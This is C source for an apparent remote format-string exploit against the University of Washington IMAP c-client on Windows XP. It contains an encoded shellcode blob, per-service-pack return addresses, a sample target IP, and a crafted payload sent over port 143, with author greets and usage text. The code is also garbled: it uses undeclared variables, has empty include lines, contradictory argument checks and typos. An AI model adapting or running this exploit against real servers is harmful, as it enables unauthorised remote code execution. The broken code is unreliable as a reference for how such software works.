/* # This BUg Discover By Faryad Rahmany # C0d3d by Faryad rahmany # website : http://rahmany.net # University Of Washington IMAP c-client Remote FOrmat String # Shellcode based on work by vlad902 # Greets to my best Freind : DJ7xpl # UG : File Host Port Target # Target 1 : WIndows XP Sp 1 : 0 # Target 2 : Windows XP Sp 2 : 1 # Target 3 : Windows XP Sp 3 : 2 # Ep : Attack.exe 78.38.23.49 143 2 # Sp Thanks To : AllaH # compiled with visual c++ 6 : Attack.c */ #include #include #include #include #include #include #include #include #define PORT 143 #define DATAOVERFLOW 2024 int main(int argc, char *argv[]) { int sockfd, numbytes; unsigned int system; char buffer[DATAOVERFLOW]; char jmp[5]; struct hostent *he; struct sockaddr_in tcp;; struct sockaddr_in their_addr; char winxpsp1[] = "\x57\x94\xAE\x77"; // not tested char winxpsp2[] = "\xED\x1E\x94\x7C"; char winxpsp3[] = "\x7B\x46\x86\x7C"; char FAR[] = "\x47\x45\x54\x20\x2F"; WSADATA wsadata; unsigned char shellcode[] = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e" "\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x48" "\x4e\x56\x46\x32\x46\x42\x4b\x48\x45\x44\x4e\x43\x4b\x38\x4e\x57" "\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x54\x4a\x41\x4b\x48" "\x4f\x55\x42\x32\x41\x30\x4b\x4e\x49\x34\x4b\x48\x46\x53\x4b\x48" "\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c" "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x43\x46\x35\x46\x42\x4a\x52\x45\x47\x45\x4e\x4b\x48" "\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x34" "\x4b\x58\x4f\x35\x4e\x31\x41\x30\x4b\x4e\x43\x30\x4e\x42\x4b\x38" "\x49\x38\x4e\x36\x46\x52\x4e\x51\x41\x46\x43\x4c\x41\x53\x4b\x4d" "\x46\x56\x4b\x38\x43\x44\x42\x33\x4b\x58\x42\x44\x4e\x50\x4b\x58" "\x42\x47\x4e\x41\x4d\x4a\x4b\x58\x42\x34\x4a\x50\x50\x45\x4a\x56" "\x50\x58\x50\x54\x50\x50\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x46" "\x43\x35\x48\x46\x4a\x36\x43\x53\x44\x53\x4a\x46\x47\x47\x43\x47" "\x44\x33\x4f\x55\x46\x55\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e" "\x4e\x4f\x4b\x33\x42\x55\x4f\x4f\x48\x4d\x4f\x55\x49\x58\x45\x4e" "\x48\x56\x41\x38\x4d\x4e\x4a\x50\x44\x50\x45\x35\x4c\x36\x44\x50" "\x4f\x4f\x42\x4d\x4a\x36\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55" "\x4f\x4f\x48\x4d\x43\x45\x43\x55\x43\x45\x43\x45\x43\x35\x43\x54" "\x43\x55\x43\x54\x43\x55\x4f\x4f\x42\x4d\x48\x36\x4a\x56\x41\x31" "\x4e\x45\x48\x56\x43\x45\x49\x48\x41\x4e\x45\x59\x4a\x46\x46\x4a" "\x4c\x31\x42\x47\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x56\x42\x51" "\x41\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x52" "\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x35\x45\x55\x4f\x4f\x42\x4d" "\x4a\x36\x45\x4e\x49\x34\x48\x58\x49\x34\x47\x55\x4f\x4f\x48\x4d" "\x42\x45\x46\x55\x46\x55\x45\x55\x4f\x4f\x42\x4d\x43\x49\x4a\x56" "\x47\x4e\x49\x47\x48\x4c\x49\x57\x47\x45\x4f\x4f\x48\x4d\x45\x35" "\x4f\x4f\x42\x4d\x48\x46\x4c\x36\x46\x46\x48\x46\x4a\x56\x43\x46" "\x4d\x46\x49\x48\x45\x4e\x4c\x56\x42\x35\x49\x35\x49\x32\x4e\x4c" "\x49\x58\x47\x4e\x4c\x36\x46\x54\x49\x48\x44\x4e\x41\x43\x42\x4c" "\x43\x4f\x4c\x4a\x50\x4f\x44\x44\x4d\x42\x50\x4f\x44\x54\x4e\x32" "\x43\x59\x4d\x58\x4c\x47\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36" "\x44\x47\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x37\x46\x54\x4f\x4f" "\x48\x4d\x4b\x35\x47\x35\x44\x45\x41\x55\x41\x55\x41\x45\x4c\x56" "\x41\x50\x41\x45\x41\x55\x45\x35\x41\x35\x4f\x4f\x42\x4d\x4a\x46" "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x55\x4f\x4f\x48\x4d\x4c\x36" "\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f\x42\x4d\x4b\x48\x47\x55\x4e\x4f" "\x43\x38\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x35\x4f\x4f\x42\x4d" "\x4a\x46\x42\x4f\x4c\x38\x46\x50\x4f\x45\x43\x45\x4f\x4f\x48\x4d" "\x4f\x4f\x42\x4d\x5a"; if(argc < 3){ printf("*********************************************** \n" " This BUg Discover By Faryad Rahmany \n" " C0d3d by Faryad rahmany \n" " website : http://rahmany.net \n" " University Of Washington IMAP c-client Remote FOrmat String \n" " Shellcode based on work by vlad902 \n" " Greets to my best Freind : DJ7xpl \n" " UG : File Host Port Target \n" " Target 1 : WIndows XP Sp 1 : 0 \n" " Target 2 : Windows XP Sp 2 : 1 \n" " Target 3 : Windows XP Sp 3 : 2 \n" " Ep : Attack.exe 78.38.23.49 143 2 \n" " Sp Thanks To : AllaH \n" " compiled with visual c++ 6 : Attack.c \n" "***********************************************\n", argv[1]); exit(-1); } printf("\n Attack on University Of Washington IMAP c-client"); system = (unsigned short)atoi(argv[3]); switch(system) { case 1: strcat(jmp,winxpsp1); break; case 2: strcat(jmp,winxpsp2); break; case 3 : strcat(jmp,winxpsp3); break; default: printf("\n\r this target not find this list and exit \n\r"); exit(-1); } printf(" building Format string \n"); memset(buffer,shellcode,DATAOVERFLOW); memcpy(buffer,shellcode,sizeof(shellcode)-1); memcpy(buffer+256,jmp,sizeof(jmp)-1); memcpy(buffer+243,FAR,sizeof(FAR)-1); buffer[DATAOVERFLOW] = 0; if (argc != 2) { fprintf(stderr,"usage: client hostname\n"); exit(1); } if ((he=gethostbyname(argv[1])) == NULL) { herror("gethostbyname"); exit(1); } if ((!he) && (addr == INADDR_NONE) ){ printf("unable to resolve %s\n",argv[1]); exit(-1); } sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (!sock){ printf("Fuck socket error\n"); exit(-1); } printf("\nAttack on University Of Washington IMAP c-client %s\n" , argv[1]) ; Sleep(900); printf("\npachet Send size = %d byte\n" , sizeof(buffer)); if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(1); } if ( WSAStartup(wVersionRequested, &wsadata) ) { printf ("Erreur d'initialisation winsock !\n"); ExitProcess (1); } their_addr.sin_family = AF_INET; their_addr.sin_port = htons(PORT); their_addr.sin_addr = *((struct in_addr *)he-h_addr); bzero(&(their_addr.sin_zero), 8); printf("\nSending exploit string...\n"); printf ("connecting to %s on port %u...", argv[1], ntohs ( sin.sin_port ) ); if (connect(sockfd, (struct sockaddr *)&their_addr, \ sizeof(struct sockaddr)) == -1) { perror("connect"); exit(1); } fprintf(FILEsock, "\xeb\x29" "%%8x%%8x%%8x%%8x%%8x%%8x%%8x%%8x%%%dd%%n%%n@@@@@@@@%s\r\n", 0x3C63FF-0x4f,shellcode); if ((numbytes=recv(sockfd, buffer,DATAOVERFLOW, 0)) == -1) { perror("recv"); exit(1); } buffer[numbytes] = '\0'; printf("Received: %s",buffer); shutdown(sockfd,1); closesocket(sockfd); } return 0; }